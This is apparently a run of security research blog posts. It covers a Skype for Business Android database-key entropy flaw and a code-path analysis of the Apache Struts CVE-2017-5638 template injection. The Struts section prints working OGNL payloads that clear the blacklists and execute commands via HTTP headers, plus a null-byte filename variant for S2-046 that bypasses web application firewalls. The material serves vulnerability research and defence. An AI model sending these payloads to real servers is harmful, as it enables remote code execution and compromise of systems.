At GDS we see many products with incomplete crypto specifications and resultant code that does not take into account the often complicated and subtle issues around the design, implementation, and use of cryptography. When such code is already in production, especially when it has been in use for years, the cost of replacing it can be prohibitively high. Hence our recommendation is to always do a thorough, complete evaluation of where the final product will be used to properly establish context, then work out a full, precise specification that can match the requirements established and finally to use well-established cryptographic libraries’ crypto components to implement the specification. Once the product is in use, it is also important to monitor whether the context in which it is deployed in has changed. Not only the cryptographic landscape can change as new attacks are found but those who designed the product may find that over the years its use-case changes from the original intention. In these cases a new requirements analysis and potentially amended specification and implementation is warranted.

[1] https://cr.yp.to/antiforgery/cachetiming-20050414.pdf
[2] http://link.springer.com/chapter/10.1007%2F11967668_15#page-1
[3] https://nacl.cr.yp.to/secretbox.html
[4] http://blog.gdssecurity.com/labs/2010/9/14/automated-padding-oracle-attacks-with-padbuster.html
[5] https://en.wikipedia.org/wiki/RSA_(cryptosystem)#Encryption
[6] https://en.wikipedia.org/wiki/A5/1

Last summer we released material at DEF CON 2016 documenting our research on rogue access point attack detection. As a follow-up, we are releasing our extended whitepaper on the subject. The whitepaper begins by providing a thorough overview of the weaknesses that make 802.11 susceptible to rogue access point attacks. We also explain why these weaknesses are still relevant in today’s wireless landscape, with a particular focus on enterprise environments. Previous attempts at remediating these issues are also explored, as is the evolution of rogue access point technology over the past decade. Finally, with this background information out of the way, we deliver two new techniques for detecting evil twin and Karma attacks. Potential areas for future research are also identified, providing a starting point for future exploratory endeavors.

Our whitepaper can be found at the following URL:

https://github.com/gdssecurity/Whitepapers/blob/master/GDS Labs - Identifying Rogue Access Point Attacks Using Probe Response Patterns and Signal Strength.pdf

To check out our previous work on the subject, including our DEF CON material and Sentrygun rogue AP killing software, please refer to the links below:

https://github.com/gdssecurity/sentrygun
https://github.com/gdssecurity/sentrygun-server
https://www.youtube.com/watch?v=dtNUFGnToQs
https://docs.google.com/presentation/d/1uwlF2nl6EtC70yryK8MleACMl72EGwkCZWng5eVONOQ/edit

GDS recently discovered and disclosed a vulnerability in Skype for Business caused by mishandling of cryptographic information. Improper use of string objects resulted in reduced entropy for database passwords storing sensitive user data. This vulnerability was detected by decompiling the unobfuscated Java source code stored within the application container. This is very similar to an issue discussed previously by Stephen Komal at GDS two years ago, described at http://blog.gdssecurity.com/labs/2015/2/18/when-efbfbd-and-friends-come-knocking-observations-of-byte-a.html.

The database stored in the application container under databases/EncryptedDataStore.sqlite on the Android platform used a weaker than optimal key for storage of secure data. While it is likely that for practical purposes the key’s length itself will be sufficient to prevent compromise in the majority of cases, the key is malformed, reducing its entropy significantly. The danger of this vulnerability is that attackers may find a system with a key that is much more easily cracked by brute force than what was originally intended by the software’s authors. In the worst-case scenario, attackers could trivially crack the database key, decrypt the database, and retrieve private user information.

During account set up, each user’s personal data is encrypted in a sqllite database on the Android device using a password for a PBKDF2 key derivation function which is randomly generated, using Java’s SecureRandom functionality. However, that key is immediately converted to a Java string.

com/microsoft/office/lync/platform/database/util/SfbDataBaseProvider.java
53:     private String generateRandomPassword() {
54:         byte[] arrby = new byte[42];
55:         new SecureRandom().nextBytes(arrby);
56:         return new String(arrby);
57:     }

The database key is initialized as follows:

com/microsoft/office/lync/platform/database/util/SfbDataBaseProvider.java
59:     private String getDbKeys() {
60:         String string2;
61:         String string3 = string2 = CredentialsStoreManager.getInstance().getDatabasePassword();
62:         if (string2 != null) return string3;
63:         Trace.d(TAG, “getDbKeys, Database Encryption not stored, creating new password”);
64:         string3 = this.generateRandomPassword();
65:         try {
66:             CredentialsStoreManager.getInstance().setDatabasePassword(string3);
67:             return string3;
68:         }
69:         catch (CredentialStoreException var2_2) {
70:             Trace.e(TAG, “getDbKeys, storage failed!!!!!”);
71:             DatabaseAnalytics.reportKeyStorageError(var2_2);
72:             return string3;
73:         }
74:     }

Each user is given a new database password for decryption, which cannot be easily retrieved without rooting the device. GDS retrieved the PBKDF key derivation password by constructing a “hooking” program that dumped out the database password from memory, which was then used to decrypt the database. This could easily be accomplished on any rooted device. The function in question was located by decompiling the unobfuscated Java class files.

The hooked function is shown below:

com/microsoft/office/lync/platform/CredentialsStoreManager.java
312:  public String getDatabasePassword() {
313:         Account account = this.getLyncAccount();
314:         if (account != null) {
315:             return this.accountManager.getUserData(account, “persistanceKey”);
316:         }
317:         Trace.i(“CredentialsStoreManager”, “getDatabasePassword, returning null because no database password is currently stored”);
318:         return null;
319:     }

EF BF BD 6C  EF BF BD EF  BF BD 1D EF  BF BD EF BF  BD 68 09 0D  EF BF BD 0A
EF BF BD EF  BF BD EF BF  BD D7 BB EF  BF BD EF BF  BD 57 30 6A  18 EF BF BD
2E 15 EF BF  BD 3F 09 65  38 EF BF BD  31 EF BF BD  EF BF BD EF  BF BD 04 EF
BF BD EF BF  BD EF BF BD  EF BF BD EF  BF BD

In this case a large proportion of the password has been replaced with the unicode “replacement character” byte sequence (EF BF BD.)

The underlying cause of this issue is the use of Java’s String class to hold binary cryptographic data. Java’s String class is not meant to hold raw bytes, and actually will encode strings differently based on each platform’s encoding preferences. The bytes originally being generated by the function above are incorrectly transformed into UTF-8 when used in a string, converting over half the bytes to invalid character sequences. The entire issue can be resolved by removing the use of the String class in favor of the use of byte arrays.

Additionally, it should be noted that the application chronically uses Java strings when handling cryptographic material, compounding the difficulty of resolving the issue. For instance, the application uses a class to store the password during some operations and stores the password itself as a string:

com/microsoft/office/lync/platform/CredentialsStoreManager.java
668: public static class Password {
669:         private final String m_passwordEncrypted;
670:         private String m_passwordPlaintext = null;
671:
672:         private Password(String string2) {
673:             this.m_passwordEncrypted = string2;
674:         }
675:
676:         public static Password fromEncrypted(Context context, String string2) {
677:             return new Password(string2);
678:         }
679:
680:         public static Password fromPlainText(Context object, String string2) {
681:             if (TextUtils.isEmpty((CharSequence)string2)) {
682:                 object = “”;
683:                 return new Password((String)object);
684:             }
685:             object = CryptoUtils.encrypt(string2);
686:             return new Password((String)object);
687:         }

com/microsoft/office/lync/platform/CredentialsStoreManager.java
396:   String loadPrivateKey(Account object, ICredentialStore.Service service) throws SfbCryptoException {
397:         String string2;
398:         String string3 = string2 = null;
399:         if (object == null) return string3;
400:         object = this.accountManager.getUserData((Account)object, this.privateKeyAccountDataKey(service));
401:         string3 = string2;
402:         if (object == null) return string3;
403:         return CryptoUtils.decrypt((String)object);
404:     }

Remediation

com/microsoft/office/lync/platform/database/util/SfbDataBaseProvider.java
private String generateRandomPassword()
 {
   byte[] arrby = new byte[42];
   new SecureRandom().nextBytes(arrby);
-  return new String(arrby);
+  return Base64.encodeToString(arrby,0);
 }

Disclosure

At GDS, we’ve had a busy few weeks helping our clients manage the risk associated with CVE-2017-5638 (S2-045), a recently published Apache Struts server-side template injection vulnerability. As we began this work, I found myself curious about the conditions that lead to this vulnerability in the Struts library code. We often hear about the exploitation of these types of vulnerabilities, but less about the vulnerable code that leads to them. This post is the culmination of research I have done into this very topic. What I present here is a detailed code analysis of the vulnerability, as well as payloads seen in the wild and a discussion on why some work while others don’t. I also present a working payload for S2-046, an alternate exploit vector that is capable of bypassing web application firewall rules that only examine request content types. I conclude with a couple of takeaways I had from this research.

For those unfamiliar with the concept of SSTI (server-side template injection), it’s a classic example of an injection attack. A template engine parses what is intended to be template code, but somewhere along the way ends up parsing user input. The result is typically code execution in whatever form the template engine allows. For many popular template engines, such as Freemarker, Smarty, Velocity, Jade, and others, remote code execution outside of the engine is often possible (i.e. spawning a system shell). For cases like Struts, simple templating functionality is provided using an expression language such as Object-Graph Navigation Language (OGNL). As is the case for OGNL, it is often possible to obtain remote code execution outside of an expression engine as well. Many of these libraries do offer mechanisms to help mitigate remote code execution, such as sandboxing, but they tend to be disabled by default or trivial to bypass.

From a code perspective, the simplest condition for SSTI to exist in an application is to have user input passed into a function that parses template code. Losing track of what functions handle values tainted with user input is an easy way to accidentally introduce all kinds of injection vulnerabilities into an application. To uncover a vulnerability like this, the call stack and any tainted data flow must be carefully traced and analyzed.

This was the case to fully understand how CVE-2017-5638 works. The official CVE description reads:

The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type HTTP header, as exploited in the wild in March 2017.

This left me with the impression that the vulnerable code existed in the Jakarta Multipart parser and that it was triggered by a “#cmd=” string in the Content-Type HTTP header. Using Struts 2.5.10 as an example, we’ll soon learn that the issue is far more nuanced than that. To truly grasp how the vulnerability works, I needed to do a full analysis of relevant code in the library.

Beginning With A Tainted Exception Message

An exception thrown, caught, and logged when this vulnerability is exploited reveals a lot about how this vulnerability works. As we can see in the following reproduction, which results in remote code execution, an exception is thrown and logged in the parseRequest method in the Apache commons upload library. This is because the content-type of the request didn’t match an expected valid string. We also notice that the exception message thrown by this library includes the invalid content-type header supplied in the HTTP request. This in effect taints the exception message with user input.

POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: ${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Content-Length: 0

HTTP/1.1 200 OK
Set-Cookie: JSESSIONID=16cuhw2qmanji1axbayhcp10kn;Path=/struts2-showcase
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Server: Jetty(8.1.16.v20140903)
Content-Length: 11

testwebuser

2017-03-24 13:44:39,625 WARN  [qtp373485230-21] multipart.JakartaMultiPartRequest (JakartaMultiPartRequest.java:69) - Request exceeded size limit!
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is ${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
	at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.(FileUploadBase.java:948) ~[commons-fileupload-1.3.2.jar:1.3.2]
	at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:310) ~[commons-fileupload-1.3.2.jar:1.3.2]
	at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:334) ~[commons-fileupload-1.3.2.jar:1.3.2]
	at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:147) ~[struts2-core-2.5.10.jar:2.5.10]
	at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:91) ~[struts2-core-2.5.10.jar:2.5.10]
	at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:67) [struts2-core-2.5.10.jar:2.5.10]
	at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.(MultiPartRequestWrapper.java:86) [struts2-core-2.5.10.jar:2.5.10]
	at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:806) [struts2-core-2.5.10.jar:2.5.10]
[..snip..]

The caller responsible for invoking the parseRequest method that generates the exception is in a class named JakartaMultiPartRequest. This class acts as a wrapper around the Apache commons fileupload library, defining a method named processUpload that calls its own version of the parseRequest method on line 91. This method creates a new ServletFileUpload object on line 151 and calls its parseRequest method on line 147.

core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java:
90:     protected void processUpload(HttpServletRequest request, String saveDir) throws FileUploadException, UnsupportedEncodingException {
91:         for (FileItem item : parseRequest(request, saveDir)) {
92:             LOG.debug("Found file item: [{}]", item.getFieldName());
93:             if (item.isFormField()) {
94:                 processNormalFormField(item, request.getCharacterEncoding());
95:             } else {
96:                 processFileField(item);
97:             }
98:         }
99:     }
[..snip..]
144:     protected List<FileItem> parseRequest(HttpServletRequest servletRequest, String saveDir) throws FileUploadException {
145:         DiskFileItemFactory fac = createDiskFileItemFactory(saveDir);
146:         ServletFileUpload upload = createServletFileUpload(fac);
147:         return upload.parseRequest(createRequestContext(servletRequest));
148:     }
149: 
150:     protected ServletFileUpload createServletFileUpload(DiskFileItemFactory fac) {
151:         ServletFileUpload upload = new ServletFileUpload(fac);
152:         upload.setSizeMax(maxSize);
153:         return upload;
154:     }

Looking at the stacktrace, we can see that the processUpload method is called by JakartaMultiPartRequest’s parse method on line 67. Any thrown exceptions from calling this method are caught on line 68 and passed to the method buildErrorMessage. Several paths exist for calling this method depending on the class of the exception thrown, but the result is always that this method is called. In this case the buildErrorMessage method is called on line 75.

core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java:
64:     public void parse(HttpServletRequest request, String saveDir) throws IOException {
65:         try {
66:             setLocale(request);
67:             processUpload(request, saveDir);
68:         } catch (FileUploadException e) {
69:             LOG.warn("Request exceeded size limit!", e);
70:             LocalizedMessage errorMessage;
71:             if(e instanceof FileUploadBase.SizeLimitExceededException) {
72:                 FileUploadBase.SizeLimitExceededException ex = (FileUploadBase.SizeLimitExceededException) e;
73:                 errorMessage = buildErrorMessage(e, new Object[]{ex.getPermittedSize(), ex.getActualSize()});
74:             } else {
75:                 errorMessage = buildErrorMessage(e, new Object[]{});
76:             }
77:
78:             if (!errors.contains(errorMessage)) {
79:             	errors.add(errorMessage);
80:             }
81:         } catch (Exception e) {
82:             LOG.warn("Unable to parse request", e);
83:             LocalizedMessage errorMessage = buildErrorMessage(e, new Object[]{});
84:             if (!errors.contains(errorMessage)) {
85:                 errors.add(errorMessage);
86:             }
87:         }
88:     }

Since the JakartaMultiPartRequest class doesn’t define the buildErrorMessage method, we look to the class that it extends which does: AbstractMultiPartRequest.

core/src/main/java/org/apache/struts2/dispatcher/multipart/AbstractMultiPartRequest.java:
98:      protected LocalizedMessage buildErrorMessage(Throwable e, Object[] args) {
99:      	String errorKey = "struts.messages.upload.error." + e.getClass().getSimpleName();
100:     	LOG.debug("Preparing error message for key: [{}]", errorKey);
101:  
102:     	return new LocalizedMessage(this.getClass(), errorKey, e.getMessage(), args);
103:     }

The LocalizedMessage that it returns defines a simple container-like object. The important details here are:

• The instance’s textKey is set to a struts.messages.upload.error.InvalidContentTypeException.
• The instance’s defaultMessage is set to the exception message tainted with user input.

Next in the stacktrace, we can see that JakartaMultiPartRequest’s parse method is invoked in MultiPartRequestWrapper’s constructor method on line 86. The addError method called on line 88 checks to see if the error has already been seen, and if not it adds it to an instance variable that holds a collection of LocalizedMessage objects.

core/src/main/java/org/apache/struts2/dispatcher/multipart/MultiPartRequestWrapper.java:
77:     public MultiPartRequestWrapper(MultiPartRequest multiPartRequest, HttpServletRequest request,
78:                                    String saveDir, LocaleProvider provider,
79:                                    boolean disableRequestAttributeValueStackLookup) {
80:         super(request, disableRequestAttributeValueStackLookup);
[..snip..]
85:         try {
86:             multi.parse(request, saveDir);
87:             for (LocalizedMessage error : multi.getErrors()) {
88:                 addError(error);
89:             }

On the next line of our stacktrace, we see that the Dispatcher class is responsible for instantiating a new MultiPartRequestWrapper object and calling the constructor method above. The method called here is named wrapRequest and is responsible for detecting if the request’s content type contains the substring “multipart/form-data” on line 801. If it does, a new MultiPartRequestWrapper is created on line 804 and returned.

core/src/main/java/org/apache/struts2/dispatcher/Dispatcher.java:
794:     public HttpServletRequest wrapRequest(HttpServletRequest request) throws IOException {
795:         // don't wrap more than once
796:         if (request instanceof StrutsRequestWrapper) {
797:             return request;
798:         }
799:
800:         String content_type = request.getContentType();
801:         if (content_type != null && content_type.contains("multipart/form-data")) {
802:             MultiPartRequest mpr = getMultiPartRequest();
803:             LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);
804:             request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);
805:         } else {
806:             request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);
807:         }
808:
809:         return request;
810:     }

At this point in our analysis, our HTTP request has been parsed and our wrapped request object (MultiPartRequestWrapper) holds an error (LocalizedMessage) with our tainted default message and a textKey set to struts.messages.upload.error.InvalidContentTypeException.

Calling Struts’ File Upload Interceptor

The rest of the stacktrace doesn’t provide anything terribly useful to us to continue tracing data flow. However, we have a clue for where to look next. Struts processes requests through a series of interceptors. As it turns out, an interceptor named FileUploadInterceptor is part of the default “stack” that Struts is configured to use.

As we can see on line 242, the interceptor checks to see if our request object is an instance of the class MultiPartRequestWrapper. We know that it is because the Dispatcher previously returned an instance of this class. The interceptor continues to check if the MultiPartRequestWrapper object has any errors on line 261, which we already know it does. It then calls LocalizedTextUtil’s findText method on line 264, passing in several arguments such as the error’s textKey and our tainted defaultMessage.

core/src/main/java/org/apache/struts2/interceptor/FileUploadInterceptor.java:
237:     public String intercept(ActionInvocation invocation) throws Exception {
238:         ActionContext ac = invocation.getInvocationContext();
239:
240:         HttpServletRequest request = (HttpServletRequest) ac.get(ServletActionContext.HTTP_REQUEST);
241:
242:         if (!(request instanceof MultiPartRequestWrapper)) {
243:             if (LOG.isDebugEnabled()) {
244:                 ActionProxy proxy = invocation.getProxy();
245:                 LOG.debug(getTextMessage("struts.messages.bypass.request", new String[]{proxy.getNamespace(), proxy.getActionName()}));
246:             }
247:
248:             return invocation.invoke();
249:         }
250:
[..snip..]
259:         MultiPartRequestWrapper multiWrapper = (MultiPartRequestWrapper) request;
260:
261:         if (multiWrapper.hasErrors()) {
262:             for (LocalizedMessage error : multiWrapper.getErrors()) {
263:                 if (validation != null) {
264:                     validation.addActionError(LocalizedTextUtil.findText(error.getClazz(), error.getTextKey(), ActionContext.getContext().getLocale(), error.getDefaultMessage(), error.getArgs()));
265:                 }
266:             }
267:         }

Following Localized Text

This is where things start to get interesting. A version of the LocalizedTextUtil’s method findText is called that tries to find an error message to return based on several factors. I have omitted the large method definition because the comment below accurately describes it. The findText method call is invoked where:

• aClassName is set to AbstractMultiPartRequest.
• aTextName is set to the error’s textKey, which is struts.messages.upload.error.InvalidContentTypeException.
• Locale is set to the ActionContext’s locale.
defaultMessage is our tainted exception message as a string.
• Args is an empty array.
• valueStack is set to the ActionContext’s valueStack.

397:     /**
398:      * <p>
399:      * Finds a localized text message for the given key, aTextName. Both the key and the message
400:      * itself is evaluated as required.  The following algorithm is used to find the requested
401:      * message:
402:      * </p>
403:      *
404:      * <ol>
405:      * <li>Look for message in aClass' class hierarchy.
406:      * <ol>
407:      * <li>Look for the message in a resource bundle for aClass</li>
408:      * <li>If not found, look for the message in a resource bundle for any implemented interface</li>
409:      * <li>If not found, traverse up the Class' hierarchy and repeat from the first sub-step</li>
410:      * </ol></li>
411:      * <li>If not found and aClass is a {@link ModelDriven} Action, then look for message in
412:      * the model's class hierarchy (repeat sub-steps listed above).</li>
413:      * <li>If not found, look for message in child property.  This is determined by evaluating
414:      * the message key as an OGNL expression.  For example, if the key is
415:      * <i>user.address.state</i>, then it will attempt to see if "user" can be resolved into an
416:      * object.  If so, repeat the entire process fromthe beginning with the object's class as
417:      * aClass and "address.state" as the message key.</li>
418:      * <li>If not found, look for the message in aClass' package hierarchy.</li>
419:      * <li>If still not found, look for the message in the default resource bundles.</li>
420:      * <li>Return defaultMessage</li>
421:      * </ol>

Because a resource bundle is not found defining an error message for struts.messages.upload.error.InvalidContentTypeException, this process ends up invoking the method getDefaultMessage on line 573:

core/src/main/java/com/opensymphony/xwork2/util/LocalizedTextUtil.java:
570:         // get default
571:         GetDefaultMessageReturnArg result;
572:         if (indexedTextName == null) {
573:             result = getDefaultMessage(aTextName, locale, valueStack, args, defaultMessage);
574:         } else {
575:             result = getDefaultMessage(aTextName, locale, valueStack, args, null);
576:             if (result != null && result.message != null) {
577:                 return result.message;
578:             }
579:             result = getDefaultMessage(indexedTextName, locale, valueStack, args, defaultMessage);
580:         }

The getDefaultMessage method in the same class is responsible making one last ditch effort of trying to find a suitable error message given a key and a locale. In our case, it still fails and takes our tainted exception message and calls TextParseUtil’s translateVariables method on line 729.

core/src/main/java/com/opensymphony/xwork2/util/LocalizedTextUtil.java:
714:     private static GetDefaultMessageReturnArg getDefaultMessage(String key, Locale locale, ValueStack valueStack, Object[] args,
715:                                                                 String defaultMessage) {
716:         GetDefaultMessageReturnArg result = null;
717:         boolean found = true;
718:
719:         if (key != null) {
720:             String message = findDefaultText(key, locale);
721:
722:             if (message == null) {
723:                 message = defaultMessage;
724:                 found = false; // not found in bundles
725:             }
726:
727:             // defaultMessage may be null
728:             if (message != null) {
729:                 MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);
730:
731:                 String msg = formatWithNullDetection(mf, args);
732:                 result = new GetDefaultMessageReturnArg(msg, found);
733:             }
734:         }
735:
736:         return result;
737:     }

An OGNL Expression Data Sink

As it turns out, TextParseUtil’s translateVariables method is a data sink for expression language evaluation. Just as the method’s comment explains, it provides simple template functionality by evaluating OGNL expressions wrapped in instances of ${…} and %{…}. Several versions of the translateVariables method are defined and called, with the last evaluating the expression on line 166.

core/src/main/java/com/opensymphony/xwork2/util/TextParseUtil.java:
34:      /**
35:       * Converts all instances of ${...}, and %{...} in <code>expression</code> to the value returned
36:       * by a call to {@link ValueStack#findValue(java.lang.String)}. If an item cannot
37:       * be found on the stack (null is returned), then the entire variable ${...} is not
38:       * displayed, just as if the item was on the stack but returned an empty string.
39:       *
40:       * @param expression an expression that hasn't yet been translated
41:       * @param stack value stack
42:       * @return the parsed expression
43:       */
44:      public static String translateVariables(String expression, ValueStack stack) {
45:          return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, null).toString();
46:      }
[..snip..]
152:     public static Object translateVariables(char[] openChars, String expression, final ValueStack stack, final Class asType, final ParsedValueEvaluator evaluator, int maxLoopCount) {
153:
154:     ParsedValueEvaluator ognlEval = new ParsedValueEvaluator() {
155:             public Object evaluate(String parsedValue) {
156:                 Object o = stack.findValue(parsedValue, asType);
157:                 if (evaluator != null && o != null) {
158:                     o = evaluator.evaluate(o.toString());
159:                 }
160:                 return o;
161:             }
162:         };
163:
164:         TextParser parser = ((Container)stack.getContext().get(ActionContext.CONTAINER)).getInstance(TextParser.class);
165:
166:         return parser.evaluate(openChars, expression, ognlEval, maxLoopCount);
167:     }

With this last method call, we have traced an exception message tainted with user input all the way to the evaluation of OGNL.

Payload Analysis

A curious reader might be wondering how the exploit’s payload works. To start, let us first attempt to supply a simple OGNL payload that returns an additional header. We need to include the unused variable in the beginning, so that Dispatcher’s check for a “multipart/form-data” substring passes and our request gets parsed as a file upload.

POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: ${(#_='multipart/form-data').(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}
Content-Length: 0

HTTP/1.1 200 OK
Set-Cookie: JSESSIONID=1wq4m7r2pkjqfak2zaj4e12kn;Path=/struts2-showcase
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html
[..snip..]

Huh? It didn’t work. A look at our logs shows a warning was logged:

17-03-24 12:48:30,904 WARN  [qtp18233895-25] ognl.SecurityMemberAccess (SecurityMemberAccess.java:74) - Package of target [com.opensymphony.sitemesh.webapp.ContentBufferingResponse@9f1cfe2] or package of member [public void javax.servlet.http.HttpServletResponseWrapper.addHeader(java.lang.String,java.lang.String)] are excluded!

As it turns out, Struts offers blacklisting functionality for class member access (i.e. class methods). By default, the following class lists and regular expressions are used:

core/src/main/resources/struts-default.xml:
41:     <constant name="struts.excludedClasses"
42:               value="
43:                 java.lang.Object,
44:                 java.lang.Runtime,
45:                 java.lang.System,
46:                 java.lang.Class,
47:                 java.lang.ClassLoader,
48:                 java.lang.Shutdown,
49:                 java.lang.ProcessBuilder,
50:                 ognl.OgnlContext,
51:                 ognl.ClassResolver,
52:                 ognl.TypeConverter,
53:                 ognl.MemberAccess,
54:                 ognl.DefaultMemberAccess,
55:                 com.opensymphony.xwork2.ognl.SecurityMemberAccess,
56:                 com.opensymphony.xwork2.ActionContext">
57: 
[..snip..]
63:     <constant name="struts.excludedPackageNames" value="java.lang.,ognl,javax,freemarker.core,freemarker.template" >

To better understand the original OGNL payload, let us try a simplified version that actually works:

POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: ${(#_='multipart/form-data').(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}}
Content-Length: 0

HTTP/1.1 200 OK
Set-Cookie: JSESSIONID=avmifel7x66q9cmnsrr8lq0s;Path=/struts2-showcase
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Struts-Exploit-Test: GDSTEST
Content-Type: text/html
[..snip..]

As we can see, this one does indeed work. But how is it bypassing the blacklisting we saw earlier?

What this payload does is empty the list of excluded package names and classes, thereby rendering the blacklist useless. It does this by first fetching the current container associated with the OGNL context and assigning it to the “container” variable. You may notice that the class com.opensymphony.xwork2.ActionContext is included in the blacklist above. How is this possible then? The blacklist doesn’t catch it because we aren’t referencing a class member, but rather by a key that already exists in the OGNL Value Stack (defined in core/src/main/java/com/opensymphony/xwork2/ActionContext.java:102). The reference to an instance of this class is already made for us, and the payload takes advantage of this.

Next, the payload gets the container’s instance of OgnlUtil, which allows us to invoke methods that return the current excluded classes and package names. The final step is to simply get and clear each blacklist and execute whatever unrestricted evaluations we want.

An interesting point to make here is that once the blacklists have been emptied, they remain empty until overwritten by code or until the application has been restarted. I found this to be a common pitfall when attempting to reproduce certain payloads found in the wild or documented in other research. Some payloads failed to work because they assumed the blacklists had already been emptied, which would have likely occurred during the testing of different payloads earlier on. This emphasizes the importance of resetting application state when running dynamic tests.

You may have also noticed that the original exploit’s payload used is a bit more complicated than the one presented here. Why does it perform extra steps such as checking a _memberAccess variable and calling a method named setMemberAccess? It may be an attempt to leverage another technique to clear each blacklist, just in case the first technique didn’t work. The setMemberAccess method is called with a default instance of the MemberAcess class, which in effect clears each blacklist too. I could confirm that this technique works in Struts 2.3.31 but not 2.5.10. I am still unsure, however, of what the purpose is of the ternary operator that checks for and conditionally assigns _memberAccess. During testing I did not observe this variable to evaluate as true.

Other Exploit Vectors

Other exploit vectors exist for this vulnerability as of 2.5.10. This is due to the fact that any exception message tainted with user input that doesn’t have an associated error key will be evaluated as OGNL. For example, supplying an upload filename with a null byte will cause an InvalidFileNameException exception to be thrown from the Apache commons fileupload library. This would also bypass a web application firewall rule examining the content-type header. The %00 in the request below should be URL decoded first. The result is an exception message that is tainted with user input.

POST /struts2-showcase/ HTTP/1.1
Host: localhost:8080
Content-Type: multipart/form-data; boundary=---------------------------1313189278108275512788994811
Content-Length: 570

-----------------------------1313189278108275512788994811
Content-Disposition: form-data; name="upload"; filename="a%00${(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}”
Content-Type: text/html

test
-----------------------------1313189278108275512788994811--

HTTP/1.1 404 No result defined for action com.opensymphony.xwork2.ActionSupport and result input
Set-Cookie: JSESSIONID=hu1m7hcdnixr1h14hn51vyzhy;Path=/struts2-showcase
X-Struts-Exploit-Test: GDSTEST
Content-Type: text/html;charset=ISO-8859-1
